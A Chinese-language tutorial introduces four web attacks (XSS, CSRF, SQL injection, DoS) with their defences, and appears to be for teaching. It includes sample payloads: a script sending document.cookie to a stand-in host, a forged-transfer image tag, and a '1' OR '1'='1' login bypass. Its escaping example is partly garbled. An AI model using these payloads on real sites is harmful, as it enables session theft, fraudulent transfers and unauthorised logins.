攻擊技術 從自己入門到不讓阻止別人入門
一、跨站指令碼攻擊
概念
跨站指令碼攻擊(Cross-Site Scripting, XSS),可以將程式碼注入到使用者瀏覽的網頁上,這種程式碼包括 HTML 和 JavaScript。
攻擊原理
例如有一個論壇網站,攻擊者可以在上面釋出以下內容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之後該內容可能會被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script ></p>
另一個使用者瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理使用者登入狀態,那麼攻擊者就可以通過這個 Cookie 登入被攻擊者的賬號了。
危害
- 竊取使用者的 Cookie
- 偽造虛假的輸入表單騙取個人資訊
- 顯示偽造的文章或者圖片
防範手段
1. 設定 Cookie 為 HttpOnly
設定了 HttpOnly 的 Cookie 可以防止 JavaScript 指令碼呼叫,就無法通過 document.cookie 獲取使用者 Cookie 資訊。
2. 過濾特殊字元
例如將 <
<
,將 >
轉義為 >
,從而避免 HTML 和 Jascript 程式碼的執行。
富文字編輯器允許使用者輸入 HTML 程式碼,就不能簡單地將 <
等字元進行過濾了,極大地提高了 XSS 攻擊的可能性。
富文字編輯器通常採用 XSS filter 來防範 XSS 攻擊,通過定義一些標籤白名單或者黑名單,從而不允許有攻擊性的 HTML 程式碼的輸入。
以下例子中,form 和 script 等標籤都被轉義,而 h 和 p 等標籤將會保留。
<h1 id="title">XSS Demo</h1>
<p>123</ p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
二、跨站請求偽造
概念
跨站請求偽造(Cross-site request forgery,CSRF),是攻擊者通過一些技術手段欺騙使用者的瀏覽器去訪問一個自己曾經認證過的網站並執行一些操作(如發郵件,發訊息,甚至財產操作如轉賬和購買商品)。由於瀏覽器曾經認證過,所以被訪問的網站會認為是真正的使用者操作而去執行。
XSS 利用的是使用者對指定網站的信任,CSRF 利用的是網站對使用者瀏覽器的信任。
攻擊原理
假如一家銀行用以執行轉賬操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那麼,一個惡意攻擊者可以在另一個網站上放置如下程式碼:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有賬戶名為 Alice 的使用者訪問了惡意站點,而她之前剛訪問過銀行不久,登入資訊尚未過期,那麼她就會損失 1000 美元。
這種惡意的網址可以有很多種形式,藏身於網頁中的許多地方。此外,攻擊者也不需要控制放置惡意網址的網站。例如他可以將這種地址藏在論壇,部落格等任何使用者生成內容的網站中。這意味著如果伺服器端沒有合適的防禦措施的話,使用者即使訪問熟悉的可信網站也有受攻擊的危險。
通過例子能夠看出,攻擊者並不能通過 CSRF 攻擊來直接獲取使用者的賬戶控制權,也不能直接竊取使用者的任何資訊。他們能做到的,是欺騙使用者瀏覽器,讓其以使用者的名義執行操作。
防範手段
1. 檢查 Referer 首部欄位
Referer 首部欄位位於 HTTP 報文中,用於標識請求來源的地址。檢查這個首部欄位並要求請求來源的地址在同一個域名下,可以極大的防止 CSRF 攻擊。
這種辦法簡單易行,工作量低,僅需要在關鍵訪問處增加一步校驗。但這種辦法也有其侷限性,因其完全依賴瀏覽器傳送正確的 Referer 欄位。雖然 HTTP 協議對此欄位的內容有明確的規定,但並無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此欄位。並且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 欄位的可能。
2. 新增校驗 Token
在訪問敏感資料請求時,要求使用者瀏覽器提供不儲存在 Cookie 中,並且攻擊者無法偽造的資料作為校驗。例如伺服器生成隨機數並附加在表單中,並要求客戶端傳回這個隨機數。
3. 輸入驗證碼
因為 CSRF 攻擊是在使用者無意識的情況下發生的,所以要求使用者輸入驗證碼可以讓使用者知道自己正在做的操作。
三、SQL 注入攻擊
概念
伺服器上的資料庫執行非法的 SQL 語句,主要通過拼接來完成。
攻擊原理
例如一個網站登入驗證的 SQL 查詢程式碼為:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下內容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那麼 SQL 查詢字串為:
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
此時無需驗證通過就能執行以下查詢:
strSQL = "SELECT * FROM users;"
防範手段
1. 使用引數化查詢
Java 中的 PreparedStatement 是預先編譯的 SQL 語句,可以傳入適當引數並且多次執行。由於沒有拼接的過程,因此可以防止 SQL 注入的發生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
2. 單引號轉換
將傳入的引數中的單引號轉換為連續兩個單引號,PHP 中的 Magic quote 可以完成這個功能。
四、拒絕服務攻擊
拒絕服務攻擊(denial-of-service attack,DoS),亦稱洪水攻擊,其目的在於使目標電腦的網路或系統資源耗盡,使服務暫時中斷或停止,導致其正常使用者無法訪問。
分散式拒絕服務攻擊(distributed denial-of-service attack,DDoS),指攻擊者使用兩個或以上被攻陷的電腦作為“殭屍”向特定的目標發動“拒絕服務”式攻擊。